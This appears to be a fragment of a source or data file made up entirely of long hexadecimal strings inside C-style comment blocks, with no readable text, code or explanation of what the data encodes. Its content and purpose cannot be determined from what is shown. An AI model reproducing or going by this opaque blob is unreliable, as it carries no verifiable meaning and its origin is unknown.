217e04cc01a65a0b51d15755862d387df49a00d5505886041031b6892e02b18eaa8b549857acb1deaed700e7d9836194fc43ac500d5863325b4ec69a8ff96f265a93dbf102c4b9b093c24d2021f2b35eec7476ca3489a40b3f5e8b405000cddef1bc2ee4b4c18beae95c31878f79e67979fd3bf3316c4e02402a7adaab2aa6b5bbafa91c68aaed3a8e4a88f48cf26d57ac2defd03388c5a815fcc9b4924c90c75c6d3122c3d0fd120e4b6a0a31f55edd5224856a36268b926da2144b73c34890a1a110dad79610ed292671c844235a5a14063d70cc334b15e0039ea6f266b287d6560e4df00075c2c8482a07a68339da35e7b645808484c21ca3db128807d384da66d5f532a89fdccad288168411e70e79dcf5ae4fb473c2ec4d4813e9e5ef2b8e5ede6fcc64058f878a4fa64c4741d11ab6f56f37529448ff5a07bf6a6773e6992f8a0eeb936c955c4912a7d0e64819aea4fa0f88ccaea6d916067e71e8e25150521f823c91d3e6fd0c134a6be9c8208edb5d8e90a815738a7405c740031ff4b15f3e940dbd2bf3c5d38b2a460c73bb7520224cd0fcc382133aa30a7287428e9a481e3eacb2b6fea7c8bf553fa36588aa5d6a4f1d897a51220a6cb7047d0c2ea94dff38bbf7c068577aa1a1494f70cfdeb18156abc5552d9cbaa80b10f5f07fddae40901661f701baa4788a4e1072a08bacf428e2b04cfba7284a3eb7fbada28f6f532fd524311d2a250f44549868cc93ce0d3ffdc81094cb8703fe6b7259bd392fc90e8aa1d4f194e2e52473651705a5ad75faea5aa042245968bc7a0ff28ba361f8a22eb8c2bbce845ec3f45b0231e5eb8ea29f11a7d94ad2033efff4c25901f90de8c7422b8ea15487e0d3ad46897116b70086d24604bf57c31c7af5738021e8bb4d868de8a4b9093c86f85d8ed10be1408fed5759b36f3a9e0306d8d9e6d78eeb7642c59f6e97181ecc0946f7c1e9ccfa2a372a992af3d4ce324fb7ed35c67441a9ca3e448d5f9d7f80e45b8780e0afe8f354f5ef7a687803276a9d5ad81df6d5f9e767e93517db5816513a657296bffa59534a08e47a5ece7e4f76279728e2bec20f81236bfc20f7268bc74d8419404d552a97155317e796cd5409854afb9321a9b5b8402b6a154cdba6f32860a068ea4b64c8c6bafb5bcb2366865644a5f99193402a1b20e73c396648339082710906235688614651523a1b5c9d49f66303f84388bbc042b1f68a7b68616e9307ef1b723be46bfeae81da1b8f08840ffd91d5559a3736c8b9f60e59b413f69561dcc72e248a0626332aa08*/
/*fb5fe23ed4b64e2ad68e471c75f7622ea916e344ee3f94f42b27dec78b54a025b1fac4ab26caa793385dcf9c44416cc9f62cc18adbcca4525e2ef7692ad84dcde7222a01341cf85229e2c975d0f405eed7f62ea509c4306a44d9d777ec7523facc03dd2f8d6cc8203eb23e93c9a644edb590236b9d201a86fd5995974fce6fecdc9bc6bf586bd6d1af6a2b6f36d42f95997d952a31ed8cfb0f736c357a3ecada112d427e3a0c71d5daa0b46f61880bbb2071dee1afc9df9f15826667d16be6de8f32d3a82c97e7cef23cf08fc1429df80d8a8870dd030535417547cbe664d8d39e564628831993942129301778c1865e4087cdd32d779846e89f336228395dc42650421e1f1a32969d8ed164f1f01d5834b5bd6fe9485ebbccce86a9e33410c7bce4a8bf17ae0d838bf44890dadacd505d072a3c0e11534c5ddf57968979a88b30fb801a5c212d1f340d14debaf64fd8307832bb69df24df943148272ffe2811cfaabf79e5715251cf072f2d656534669de14e05e5fce777d3daa2236b4ac8c4c20fba2eab200c3c7004362be2a30bb12b1cce34e757100a7c7e3b60eefaa95bcba40f73313ec999f0e1026d8b020c25a8870d6d665103e2a7fe3097d933eef49c41a2831bf032a99983fd74cff20740fa318264845a88ca445293dd315d571f4328afd8380af945cb24654efdd910df5afffa67e687cb7cd27e003fea469e021f0997a76d817a63f6e728a851e4b5bc26772c837cfdc0a0db3f6aa6edc225becf54cb2a0e27f960f948c5c64a971217855bd3c4b59d447874eb8e7b91e2706671e2fdebaf6930445c25f35a850716184a264dc1410d8b581aa4bc7995c802ebff0cd5008bb8d0d69469d90cae8f523f4b73b5a0c8f4d712186aa65c52f6858ebb5d345b57dcf933c3d6f5c34852ce66d594b8a97c8c6eb283529e3341efa6b741d8f34b0f68faecdfef7bf69549416e2811fb66e64b4fd5f9bc5159102f2f4295d6cfacabd53e5a2a50aac4db8e95133a9ab46d5d7e706cc103b6e87e84235a96298d39548c9291a6f83c71fb433b0e1a7119a7f0ed688a533ef17a26ff3a36360f5a4c2bef043cddce7802002b1badcac7146ce20a3d1ec25eb9baf66fa46dcf39509a4920773377a1f3aefa053df4e5d3c5417eb55be88112930969e3231dcafed2ad1249f2425672fedb25350e292fe1939c6daf4728cf7b769d0575e63e9421b32207ac5f746c1381fdf7205eabee6bb81cb9af31cf21b48a2cd90524907ab92a83060341291ecfaf39584d5bd0d745400d6fc63bb8b7edd93565ff83d32e23457bf267a3b76651447b48e446670003f94771eac7c4aed2ae9f7084d8e13e7c69dc858268ce980c9abf11c10fab43f62f80ce12ae407dad6a0a91887efd4a7551a7a29324a6c962a37b54fc09265e011ef3835ef3c5035d53efec7abd04f36b81047a737731b3fffcfd540692ac64696350da28049ee1bede80e9f7cd620cab1e5efdc18e7f4e01199f9507e9ec145c7609e289949f49d282f10811deea4fcbdb96c8de41acdb86db1680f83e1bd545d9a6009d83a5b54a88af7b8cd528f169f3cfeaf4081d0685bbe1ada5db2a338f884e2f93130f300969574152989056f78c99e8ec42760a3838e6a404a652e7424bcbcf290bed7331bbcf1e99aedfeb11de8ffca1d82d2774b61c65ef39275334293ea5afe8fa1b29c741fe034abb662ba768149008a2137ba595563d99ffb9c5de12e9c0f44c603b522ce2e1025c51eab563c379a99ec9851690b4c5c0032785880148c14c8fa06b6d5db2d7b1b514e4d7a2c8a2face12cca89040125d99e044e0de8f28c0584f78fa97e2aa1bd34597cff652c5b5e634cbcbd21d4e0ea8c7e83a95a49af5a6a10ffdddb53ffdf01f2716857e085ffe29c69da057ca63fbdaedef2ca1f416cd6085c291d7c0ac121f392c3f87328d02a41f1485cadd2fb7c58737a82b235b9ab851523a4cd306632202c138786c2efb5c4a89ece36bfd4ae23fae200563b1327501a994865aa39da8394ef21b87c47667113a57d733245cd8605799fca13d1886af5d264d5e6892e85df75c8f156567cbdf8b3b0de63fcb4c8fd6689ed827bf95b2159a5effa0475631915153d01c1165b4bc5d245c2237cdc6297f55552a92428abfbeacb7e2770443d18b6329dfa36cd75bbd4383625422973bb6de89b8f03fd800ea7a2cabda681c7856ada89ccdbe07252cab88471e29cd06e280742c53e0df211a448635d1ce6f701d58139ff085d31732f5d360b6e3326225c2ca9665285d409af8eeded98b876cad0d2319cd6114df7a5e0acc85aac538d3bcccf1c23bf21d20ad7b8f87f8dc83d08e6e65bd1f6bdde8537fdc7340659b2039852a6c7c8d19fdbc0cdd4e456da50d15751f728ea39efdfb839d8cf7e8e01e47235c2d9d6534a285a513d2a0f354656cf7d0e94f67fe8cdbc8352422c6070e7e43cc22d27fd981f55ef5239c1dcee479d76b32811d5c403ec3b1f7364daa38d9e64cffe90a3abcbc48f2ce18f61d791c360ee818722bca85c51daefe3fff4ff01fd292763e5ce620a08ccc0f2dcca11e3ad782b8ee8d15d1247f178a8b58ddca67f4380c5564c7ad04f7675fc26d923f3d302fb8e0c5a71bbc1c42d39d3ecb4ddd3dcea87e23c8804a117e2a13342c107233d51d1835474a76c2f3f2766ecc43fff2a3a23f410f52669f2218c37174c0ff419810b0da12549130a2ecabd4fe37c70d35d9225329144a05d976e516808131df3b9f98d10ad9e9a3f53bc9ae082c897214ef4ce3bda72f8c9c69f7932aaaf5cfef563ef7f1f1953e70*/
/*87f75564f231a1b581e6bbde158bade4f7aa21b2182e77bc2da73823869151ee99d24aa34a2d13e409587f37274871346d04667e7df1886d4cb3b5429082dcb75c732b3f7e1da1edbb5cde9007724d620b02dac9090bb1a2547b3749da3e0e3da65c9c032857a52aad5b49e7f497ee712fc6ea83b7e9e5c2c7c4439e3439f1b174e32208ed75337fe6d58e4d43ca52405b51a9a7ddc8043399c9f3c2d2b178ced84479cc5562af9cec304b227c24b9ea84688b5c4cbecebcc29b32041743e9c97b3f994d39a697decc610e6ee75f2062a17b2880dd40868d167fae2eea94913c2da60c9f396462be8ca061577ab4d4c1eb71aad3efefbe0f977ad2fc154badf7628874bc77cf604206c7b807f5b8963f6349eeaa211ee0c74c76832170cefa4261e6de7430eb5dabdb570b52f481aa7b3f9547736d08273b9c3768969ac30fbd474d191309312f9992fe0787eb1467ac5e0e4e2bc4222e7a54e3e0a49dc885f2c1ef9f73d85a25ecfa3699d96b00f7adae41ecbb1a81d007dd73c6e97e7756306b5eaf4bf9f43b918c61749b685a086ad8aac1eca961529e71cff93a2d4bf5b653fa88f8ea3cb489b036ee5b0cbca03dba1d3272beb62d8908591a7e11184790909b4b903d37964fa277df03ef2a5939b7c727cbbfddad50c07a1da0220ee5f62c8ad39a1437949d761b8ffae31fd98cb9bb5e33487681697a8eaf889bbbe3a14ecbfc08a4bab8b454e59c456d1ee556fcd588521eebae4ce15a78bec27ed883494e8deb78a518e6e06cea1a22e809e3b3514fba85d0fe711a235c3ab9eedfaadc04466795006ea910ff64840054f87b788e23727a5d80e50f761ace1a7dc52ed27d88e3862aa1e5249efe1250860c373df2dfc4de177b233d9d46dcc74002d5b4ec5a9c1a9f3d09c9be4e38b90b5b2b70d0c4a44f4507645efea6867c0973e9e13abe1e18d64458be5196786bf92e37acca615382889a15371c55a8ae3b8c8bc36c2ce8b66cc7dc618d000d6dd653393b0c4dadf2a517a597886c41e02aaeb7ff525cab1fe47990f6258a920060b8312b98b6338e26cf925bbe484e001e654b501ebe767497f9de14dc34c195d1233605b166099f3f516d363cf2084b7819f81679988434856ce5794e49651cb38012684ab2643a04b6eb27aa3592dc459962ea915ca53e1cc663fc8485a3f88497c3433713b408152f7cc94737d126c4ec6e2908374f56b9cfaea51e5c3ddde99b7a92099916f20c178e40ed8960b585708e194b03c5e217a745797a672c8a3420d874f5626433db650bf4535bc439cbebaa0f4a0164eab21b9ccf233b1711adf86087d21b8e8718646d32d16e1681c1c1261d88e6764519e96a923ebc9fb92485d7b7b503165be934f27f08f0ad61662a075b61bfffe9d26dd9d3cb98d91402482d805cb09034e1f39229bd41b42b9186ad93eef2d00184d66306c41b66f65d6bb0e9c1228ad6fa5f21bf3fd7e450b9194f3dd9e929325e51b3cb88b6162208aec394eec4619ad023639d478dc12d44b65866b29a9b5a8a2e5dd8a1ef287e4faed5a4a956b450ad2067c83103c79f33f3b97fe36c84cdd69040b9d46509a75609ea5cbfa25a38e1385ab9d1065c93670657580beb866c97e198023d7856bfc4a61920ff53c32db593e496ed8e4ca74b2e78ae3d3e27dfa2d6e38582acd223e71a5d84bd95e83049ca73fa8b2b93b9518e0bb6db06699f4b6db88ed434e4772c1aab59c36516f3c76479cc312c02ef4470d33d3be1b9597dec7435e62d79f79e75b6ebc437fdd4e03c9d177f202d9f7538d7fb1f09e2e58d34104faf81cdfa3c9835831b7b98d3ccbf2dfd6c0c12b52d4d45d0869b7b9a6759e7b66f5eb7c9930fdcff19e5769e52be5b509576b24717b30da681ed0e058a83342e5b9cc70e9e54c7a55eff5358c12536856e9b191ae7064f1f7988ccdab2135f50d67e21384c8e91489efb693eb86dc523b4e5022688f2ca819f1932fa2cbed6f872490d979e87d3a8ab922c40ee9bb1b2bdc7d2112ace424756a69793b70bddcce42360654151c627d7073d7802489cf6281d9ab5e6d026538cfc14350a3bc7a14fb7a72712c37f0dc984e4420e0f076e59f13085e0796ba3162be2fb258a0bc380affb80a6722ddf80e03e64660876a11a511f855ce73297fdb2996cc235ac984e4506dd2f5e8eac5429996b2dd6efe9ab1dcee5449d54cabea40d2870262993d7a009b6f43f94b396e9b0be6c396ed94114ad7bfb7a51de3d139e02ed743aa062db841f185cdc351dd2faa63355daf375405155490af9e4829a1842d2b6fea989b46761bc7975e4f443ccbb326a59740fde4f5c4bc06d01d24bb53729b8a09f05dffe6f76337ebd8035b1d00f83a6b6e061a035bce4265f6073b0627f0fd493f41255e7f4eba61511db0e06474229c37e2df66566c56a20e0b92b052fb2d981768530c9d89f7443d8a3809009ce6f9018941d53a3e1aa00afaafab9eae31c838a8610f8cdefd90078b20d103bd77f31203711afe87425f18bd45152b3ca3b2b0eda7ce78ddb901a43340ec9505e872ec00396081d5c35efd0a7c14a18ab9f950a28228c879045878612dbd860208050a8dfe62c7b45e45fff8ce77687aed1b1e9bd2a1e1c87f3891819435c8a1418c44ce1449f4c0afb1822af10833c458f9643a077936fd605b1502a1e6ae265a4a955f2371b9c5c24f5f597bed1d844438a5c50eae32bfe1c7436cb17228f5cef2add69c86c504504a767658466b2c9e3211ebbdf3bc38e8b8fbefaf2f104af1a3cadf4dc6048962ea31acaa1cbc3ebef59d93202d3acc777*/
/*a38eea60040bad5243b8f4fdf98b1ecb40eee1aa712933f9619fe02dae7627ab05b4d0317963314636d7172dd07b36530312bd8d398ec70822b0f29fbbf77c9b8e2e89d9c7ccff5b55709fdca36a2a495fb56d6007450462f0f4e98dc785b79649c1c0076892ecd2ceece4cbfdaf9642a22390f35ca03a2095511ec11fd4b6c7b12af8e1541be37cb5e7aa087a7e07518faa0a6deb16d21d32f83569d8104ab488bceb7d570e034834b7147d2868b0afe8e913618b54ea3ebe45c376bff471e15a23873959a65a8b08c6f704ceee27d08fd92da4dd9ba3367d0f951a5ae47946a97cb84a24aff83e4b58de480429c24a193f33da7d58f8dd2fdfb6a85c8b438e90a2e49b58337aa869df5c518358b668dd3e91f7276c00534fabcb215b52671a999b37c07cc682b8d54a6a2e3e8ca4b5773079605866344cb03286f3603297fd2d8f1748d3e5aca2e8e6958395637256830efc97ae36ac76dec9513fc9db07d847c6f345b31afc4415923c00bcbd8cb26482daee0df62ce6fc5076acea27138214d686dd92e3c6af50fd3c4bc1e4bc4cb61227168536381d6beb1924828262ef63f69aa4ac103b17211a5e3ea31ee357f9c809fec7c9253412ce4e0e4dd3df442f6dee9199cdf4d7868fdeff9b8fbcb8e7a3b487ff4582cd158030796e3acbb124e41d38654f505a9dbe26ee3f1f115e21f2cfe7f862e694a160404fe869c75c4a035f6df77755c2d1135ecfa0bb1b4a5553546fa180443c2da2bae9f8ece205f47c82068c2208410476ced365464feaa8ce98fdd7a0bea3dff188b26c459996587f99a4deac594d94960278f17c1dd773f871b7438b39e071c064d37b78cbaf5811df9e649e468694c1f67c76047f88fda3d2c9c73bf75dd28b0a325a3d61f59d9a779f5d274a5ff74c73d6c0772d3200ff1a78075c5bbfbaee04c5b70b86881c4b5879368ce91e7330a998dfccae8a89da5ad468a38d659be67c9772d1eedc0a6ebbe4b5faf132a04bd1e13a92eef2a74ba572695ceb5d79cb3b869de9b02a2b006fa1c3e10cf5bf07a3eea90ba99abab342f9630245b3eec287faa9a220330b8f24e2f602e4257c2150fa164e3d83b901f7566f4ddbff42e7677eec05f531a3066d0a38b20a13e2e339b7e8f2d79672f150a1db4bec299088faab3d78e5caa7c2ecf2ed9b5bbf574ad4b065d0f799ea557bc193988d77ca3856b03e3a41e4bb8c4b2c70657458b16793abc990e7938c2ec9d7d659e80e9373267857be33a96ae399dc76ba091879dd6477448cc9392516464c983a9965943bb0e88919a69274bc2ddda0a9edb30fb34433cc2c2d88a55105fe01ada73e9b06eb3e4b3080b6e6623a2e26fd99ba03cde973a737269b5fc2e7652797fc16ae78b339c442de69bffa808f7cf6092ad1ea78d7619a2614f0f30408609e3c7276f8325ca9db28478d3acd55570e3f2e2e0b6063fa40540fc034148f49558ee0ead8c7d23f109dbfbdd4ba020419e337ac195c4c8928feedbe4f1b48fdfa3e7e834f5ecb7efddefcc425fcf9db80a028ffdf80b9b080b47748f692b1a479300652ec5ccd9dac6c6e062337e9cde1db7a2360bffc1cab62329d8e3db8393d4db2e7094a6f877e85e6963468d54524dafe49d8655ab4bcca0f9dbc2c5b5d2d9d2e3026dc2ed79831594aaafe5331a3d3e5e736d3937092e8ae6d4d1045566e42d471d316523a8ab4f19399fc2f6c0777b9fa5356b6906c5afdf555250f6a07b6dcfbd0a36d52aec3878456876b29d642c3f65e7415fac25ddd4257415b029c516db25f1478f02a9545a4b4e62f6bbcde069908e42cc3d9e24712afbbb81061470f0a46ba774593f9344261a884790d8f0ca22a0198e5e73baa4f017aa5aa3e33902850fa2e89f3c36bc46ff673c1380b4906930c17a68ffcc7bef748b08417daa68326e80a3e1e087f453e85dbd2203430238483d232cf35c02e8955da240e4b72d2697bc9b95b87eceba6acb1e15702d0e7c0355c283b76015ba6f4c33ff8b38e2c343ac768bb10f97c013833b8194f6001afb39264d64acf19b2653124280cb9c207a6067f9866e92f46ee5b80cc0e75d21126a703862e6da56615650c7aaa5993bc13c2ea3e57b39c45e1b9a3fb2767298003eb0042894fda5b44f9e7385d6e03b85a49fc6a48c2506e455514f6e94c9a7fe2bdefe69ae30140449e690afbaf5af5ca525b070d991d480095dc68bf6511da175f1eea8144e157ae663986925f3f26cff02ccefdd3dc37db71a16a002dae16bb88f9fdd8dd6492dc1c429fe17f5dee19c7a3cc43832c43a77c4d832c1c26eeed294efc01f04f1554bec08437e1b8e59dae58577fa0bf4482fe4939d24f34207235fa8622ee25881fd5dc5e1793d11424d9b7505d792b863dfb0067f55c5203a0327c9bf6f6df86b387dac3303fd69fd20ae7ac42a53e294c91ac32f9571251444f416a3bdd44f1a8a093c374a725663d3f869f69581dc4ac3ff4bddfbcc0ee0d8f77d2ba32ee2600fdb59522c5fda2e4dc28589a28faa5e28154df750c14b6e9eecd481a2d8fb2600cbad4545b7593d327d020318dfeaa7fd408aae6eec2a932025fb63bcf88b67fe20eac9bcf226dd9b6f295a6f36c5cca2c628ecbbc8fca4a0d7b39f4a3042a751357fe2db3085c50931c743d0f14e4f11e2eae945ad665cf03d8ba0a9286615db4ecef0e30ec49e58a1c93988e81115d915243eff1181a214dcb58c1adaf80112ed304060c8e072316b95936f5206af0ab2d633525243f15c34c8dae6ac54ce93de4d16a2f47cde97ebefe5a41f45f26497db8e4c9cf88c600f591ddb9*/
/*fa3b2710ab56a11f676df6ba001758caf640ca38d732b43f9a88a84fc1170147fc67f532b8a89970b06c23f85c70ad35cd4c46702ecb55ae7744382893c9c6404d5e36112aa1e964ee96212c73fa8d1d4a5b9deb3c427d5dd61cfe31d289488bf319fa8894d91e6ffeac7286449fb140383aca7290a55ba531eeec3c9a5923e4cf3c34f91554aa677b4686ef96c1827c18244f55c39a25d27f101e441bc9fd94e59635565b0ac0178721a4ea70ff632edaa0d3201144e94aa93cee990a0a2034b89c7e03dd7987ea4e6f460a83cf1723efdcd507b8757d99a97771e0ef7a02f9b7e6ce0f528031d1bf8effcea950205873e75be9b445f87feb07eaf84c730ab5980149ecfeedc984b18b44fd2c416740a727641358ef18ef8c632a90521cb0c641b028458539d1fcd78f04b8cd6ad9527fa234bbb226509882b20ba3fa9abbef362795a6ef55399a347f9df17f3bf7a82c12dea9f78d63e24b396eadf7ab9c77ad19bc0ad50ec28b2ca245fff47d66e3119832c1e2b5cfb9d8a19c705c8431737a07922e073557042ce0d818c9c3e05992d887e22b82b7fa39efaf45611356e53cc0a60798081cca7fc6c99dab25c6aeda2d15dfdc1aebdce48e46c2260425c8a756a0ef391d70058b0f8ff32889f9a6be9ad708758319cc6fd299436eb970e68dd498f2862c1d0772e56308a769fb09092e11417be4440ddcf1fb011f7775644e67a8be18dbb260d13801892a858df9dc44291df9e588b025637577b6d1640936bf6129985f1854d93144ab4b516e91488d42907ee7a519bf8af9102affdc8c9a1e0e89ed6ce772ef7e61053545ec60fe1056a8c7e1431f51ed26865b76b15b06f09fd1a7fd4c7e5efc5fc60a2e192ecb3a7eb9ba351b16793e54a7e02b270b422da433b4f29a95006601370f8a78afb5540b1645eda5648ec4cbcf0baf2668097ccfc9d049ff32605cf270e02db41a3495f27c651331cfd63a1ce72186fdb961a7ed0ba6fe37a292588b63f41a2edfc7e74298c3e38365aae8b0f24322c470c095d775262959abe5cd6bbc811e3b75ae3445c8c32d1c343b5ddcb89082b3a4a33cfa07430166e132ca2102c95416699295e3030cf56c65fdb72095045052d863e403a1884d88827af06e51313dadf213942a391e2c7f5ab7fa61d2e44e3867723ac0d64ee22fb2508168e1159e14d1199f5592a3e9ba067da8543464b0caa8487b579e835f9afe2ba0209b3945bed488e9a0278d0f26183680d53cbe67c4169206ef717adc591f3167e635c7b2609241686d1c65c26c6c53756d78f2d39456fc86a83bc76708ea07e54b60ef4b192ec47131f77c7441e12874c3a16c7f1e5bf7dc080c473a9f617f26000ccac2d8aedc5a1dde219d5d37d81ae3884c2cd1f3c5668920b373542c2b47e696f7f5ab193e05b356d6a917062aa64bd1c619d86a5e269b5c3a18800cdf56e70b5759f885f001837ac6a4cc1bce5083e41ffe37b7d50061bd400b97d7de2338313c32ffb247345fc7e20e502776b4740fa99011811ffef6f4758c22bd8e974221078c202b78508eafbae8c856dced5c8c4a6c94da4f7ba7d97914eeb6305b50eae6fd4ffc0bbe5a79b0dfce1a09ab57f2a2539c5941ef317b843758d52f5552dd0a864b719a99f994e3ea485d7660232bd26847fa7ce63e387dfdbd0616b136924fbeb8350aa189946aa932cab20772f9236545b24f78f10a0552970f480cd372c706b55679a806c256d0525ad599c5806df6dc6c92dda26108c618eb5e7926df1f0a9a57cf9d0c92097acbe2c4d28e1843b39b30c1126d46b39f5579f2333a19d97f746597020c55c9fcd79892030d4f6e073ab1616a619d3f5aa2e3d7997a00da653580442570b53cc2a894eacead19e4d1a27ae48394d65e25d57da082e1fbfbd15d86294fa1cb6b4004e70c1ffcc9ef3ce6c68745adce0795ff1d571a97a14be410ac7866f3d7007aeb6b4620780d2c966ad5524cebeaee6271114a822bb42ad7ab25040b788aa973fa4b882e399dd35236f977a7e8206a4b36fe48821951d0a8eddd1fbec52e3fce07b35cf90e8736a4c9b6eeb670c94fad796c5c700daa347e4cbeb51f0b96e916bb01424c8ffc89c8256cdaef72c4501df0d3664d63b3eea753325e8dc7c4c807e6a680e8f981073883cc5b97919f0fe03df23266eccd3c899360e71fcf5649c85e1cad98727777ab8be47cc70edd2c4ee9f43678aa05461cb1dca1cf0e01aeb1d6780b273827c4e34015d208d62dea0df843ac7acbab7c74905913cd6ce436a5cf1fc415b70a6031aa67978a7db8ee31000d9718962bc59b0dbef57a02afc03c1fc3972c74bf85aaec76dc8ccd26a1c0dd4c28b553d30faddac385c764fe4713b2e7db69ca8d281bfbba46c343e820dbbbf1e84b51184663fea141c8a899a0b5707bdd534158bd0a3bc52dd6c19edab73a5f42d8cff351f0fc2a20843df75bbdbf3931d9921ab9a627f2ddee69318f15ca84b873853a520c10b29192e738fc9c46fe9537c69ee10e4345936e7bd7a925bdac30990d3f88a82dec070257e2c1fe2898d8991523ee832df6f73b3dfdbd04f922f2e1e2affe3da8d915871d32ab74345be7f5acbb66540dc2eeabb701644a200e01da3905b7358845f9348911502cae455618ed718573eda62640243a0a00c4d74eacef932b79b02eb466eb2a354c1eb870f69eb32c8cd52bc8ded2566bade7ad306ef96bad6cbd52ef9ffbe989989af6ebaebb3eec55c69bd1516c75ff5250be3a53a9b397bb36a3e44b2ca8921ed01fb81f4d3ca99c36ec4a4534b786d4403a6047b7cabaeee555*/
/*d3bbdad528ab872ec47c93eefeed450cd32fdbbb808475f2d0e2eb960d7acdd6fdf46ca44c87c02e19d75747c000990628a9a801d8a544098fb2bd07d6fb9e1610a5b0b67c1f2741a13ef371ed567a5ef5e3bd4bfc2fd6a4649ce9aa46b4d8e50518665cfe84aac0824a44c5c31ebf4c056602e39bd015456517afcc73319b7d532b27b4b91af91dc07ec70e9caeb02ab5a05eb6d69a0e5a715921de0a0ed077b6a28d5348e38afbd3e6f763e028e891d9bf488be8c156ca17224e1b44e7feba425db5399fec117e81ccca2fcca3cd89790f84875bdadb786a1a27453cc3db58efffd4a0e5c6c37fb10da921c59ad72030c1bad7a5e73f79cefcefda9b9c41cb0fa1e3cb98ec3be461e675c7baca5ed6e12f98fd7bf3e75c5c1a3b0684c20878e209d0438569aba697bde7b242d689e4052a3189dd46250b0468de54a36e49a64a8c67be99980c3ed06f5ac35911a331303ea84a0fd09870d3055b5fa93133108a251ff97b6de73d1bb1eed22b1586ba689710babc6b8936829bbc5c3c80992e8de2d3cfc398119366119c7708986eba20b8b9102dd1fe783b6374a5b70a0c406ac58ca341bc377546cb6485ff7fecf6e334702ae138c1bf4bbc6c9fd535f2655bb7059cce85f0f823bf9c17fb57df91a4158f6de98bfcf78e88bd5121aacdfeee733adc52dbe227bb90c41c203bcad289b9d848015ff13310afbf44beae9c6955779ce4cf03f3c3d92cd29338952d812a720431647842afb797bfb05002e66ad8e5a4c50818bf84e2ed32d692d0f132116eac2e7b0ae7932601338f40bcce8711c93856afddd461a5b04890eb25747c73e74760a3af4a9289b5021f03d04557f923ea27acad4b8199ae60d79ff4d538355bc2ca1bdc8f6d753e3f1bbc920a62c471db080d4a52392fbae547d6bb5b1a7d578907da99853962acf2d8990afa247a3ebc66b2bcb16bd3de15cae700bb8a7cd8231c6543981e1cde65bbd03bc1770276fca65be93eb35ff901e53d142d6885ed17f1946d776b539dfc1cc91a68a8c19d95e99e02bff10e8bbc6bb57fbf68cc4ef6fd1643b985b38ea26e5c0bcb5e34b93498958a3f7a73ba94d64e222bf4e85f743694e5cc2dbfd3608345374ce1ca1a253ecb88d6f23d5d980cd00346bc675414777af5d28eb32e7ab4e5dffcf171b89ebd56027387dfac08c6c303a0e79bc1129afe5f74374bc7d852880a560e8fc0eff2e85c5e3c8e425a9c1d6f17b10bc6797a748dea7097564b1b19005311ca7b841b5553bcc4b464aad8bf1ce9cab0a38e41c0867a5372b5e3bb39ec875ae9ec4099744eb58a4f0a9548042e95daf9997787c328d9182398809a1efd84067da1da2a3fa9e5ae7050793e5c6e7245d94d6aa644de23154845bbe42568dd11e8407a55995b1f403345a4e946e913c82e593eb7b1c757748799c8c5bc50a9bd36d6db5096319c61e09fe4dc852ca547bada16c4fb67a2fb6e18f4ec9a0e6e835c4f08b8316fd2116898f547490cf004d2507ca2f3baa4dab1b9774663718d2251d3909264074a1560d1e8c18f620f253b8438b2a7849b2f7e2322566b3df33336c5e91924660088d50204c21bc4bd8afb664bedafdbdc07311a471f9a180a0258e5750cdc545d93cdc7a580b2e53914ca809883b91f214ebcc3f88002b2dfe63712e3a76dd3b5ba771164d77c69158c02b6740a2638939c3ff93980ac593f16346bace09dc7f439f13485d4ff93229362743461a4a19b739b1d89e49a5237a9e631d31e572989d34c28f23c7a160240415751ba0f63499637caa9e22d3014ff8740df68042397fb9d2413b61e1a20a10c3d1bd4d5828666e614588076d2fdb659b19d1d130aa018327376ab07741f752c516431403cfe737e12ee55f8f055193248bfe9eb0645484f29e2f811508c8b27f3473c912d973a656932a1d81a697accfd54c9c11b29734a5a87ee2631b3c30ce05d0bf34584ca1cb17c199fdad13a9674258687ad3b228e2062f3b6572e0edbee8a25c63f7e6189ce4e7c89cb322e5fcacb58f9574d7a0fa5abb50a3491262a12a6951cadf49ac79787d238d2a3ed49632ab9736610f5f45ed6702ddff52a0c3228c4496a0d1bb57f2060269c4426c0d708ace3fa34b7451e7b466bde22be443fa234d56d52e6a670a27369f4324b417b22c3c8c030cfdd1b0c60ee7b7ccf4b488f3324738a62fc08a3fc920b2ac6f37661f2cd5afce4c2065fc60a48f9428207c1269c956923ff6467aa359eab55ab6fb28863be9e2ab35dea79c0ec0a489bc5a1b2747e1e3423f305b843a7db97de83de457507964925752be4c1a56146907fed49704931d69e6feb733c0078d3ce5b9357655cbd34c49ea8dd47a690c1f954c4f6aacc73115e7ea1ffe64d14296b54344306c0001dfa323708c7e7cdb196784d691af2df2e5f5e5a9847c8a618ffcef7d02e587ccaa76ae40ce64ccf9c3455418dd91f1a04939704422b3f8836e2eec767e8cf72249d088bbbe5e356fc3437a1d2ebfbffd1a562ad6bfecb82108513f056a3540833e57a1f8f9ac9e942300b81bbeb37f9f1355d75643cff518c87f943f4094dc76384616e439877f930c52e5051286c61e53b758688472a9d467efd0ee4b1b81b7ec0e7cdfc955253b8271eda76c7ff5bdf310a23543dd1b0c42c597cff7d29a9d64e93ee4e51378a1d994cd50eadec7cd86a22742ca4fb63c4193d7554e298ce0ef97d8b2f724ecb9c11ad56a0d46f4cf8703fffb2c769aa13395cd2ea60f1dcd83ec7c1202fc191af13c5f7dd2fbccdfc43e93b25550f67cc2e73358e5cc8c52a05716ea9af6ce7e0*/
/*52fb592cb7068213d299528945eb1d90c728520ac588c211541088f11ad8f9951c1c42adf48ea5acc44dd80cce2e543a70bc2cc1327498e0d67d0a9ce8b47e8e25f9787a15c9cef0ee6cee97b9ea060845f3d7597d6566ebaa1a6d4557512980fbccf402fc72896353d2089d97e7925c597410a15d3916c5b86e71ba4c51f3ec464336175490be3f57c3d48332b305afcae03b43eee3da959e97ff5de16d44c77f4a81b33d1e029ecb8ce0799164f390acf535cea237a36adec10bab6a6aabb1fcde76ad765641c70f7951c9d9bfbcaa79e51d9f3dc52b1cd1905969823eabe659320e6d71e25a638cf27c2a15b90edc61a4f51e73246f63e70e992f4b4d99ca21e17e63f5554df76dfe0e7985bfcba6321ff5a9c6caf5ce9884779d668167197b7ce475289874c8d9af983d8e691ec29f63f66ee3567dd1cdaa44d0af9e3af319e49e31888c054ddbe453fcbc3365b2ff88ae74a9d25a369f21fda8046bce1cb09c290a8f824613635f0bcfc7247c2c4299bd4b1277c3de1031f02932a7797967047eb54c653f29f0a930072a1c47af646b9a34d237d25a8a5c7f752ad3be2973916cb7ad3ed328a72fd878109801aeedea1e9b7423fe738fd07cf3d1259597ba97e1333b099aff789364eb837c0043ca67c6adf50cb8920434d3dcda4ecc2c84acb4e63bf71679d9ac7286e4732cddaa03358251c8e601519397d8721dc903864a23c74ccf38071afed12b8d7079b6095bc1bacda1a1e22c52b918b10cd8c7f2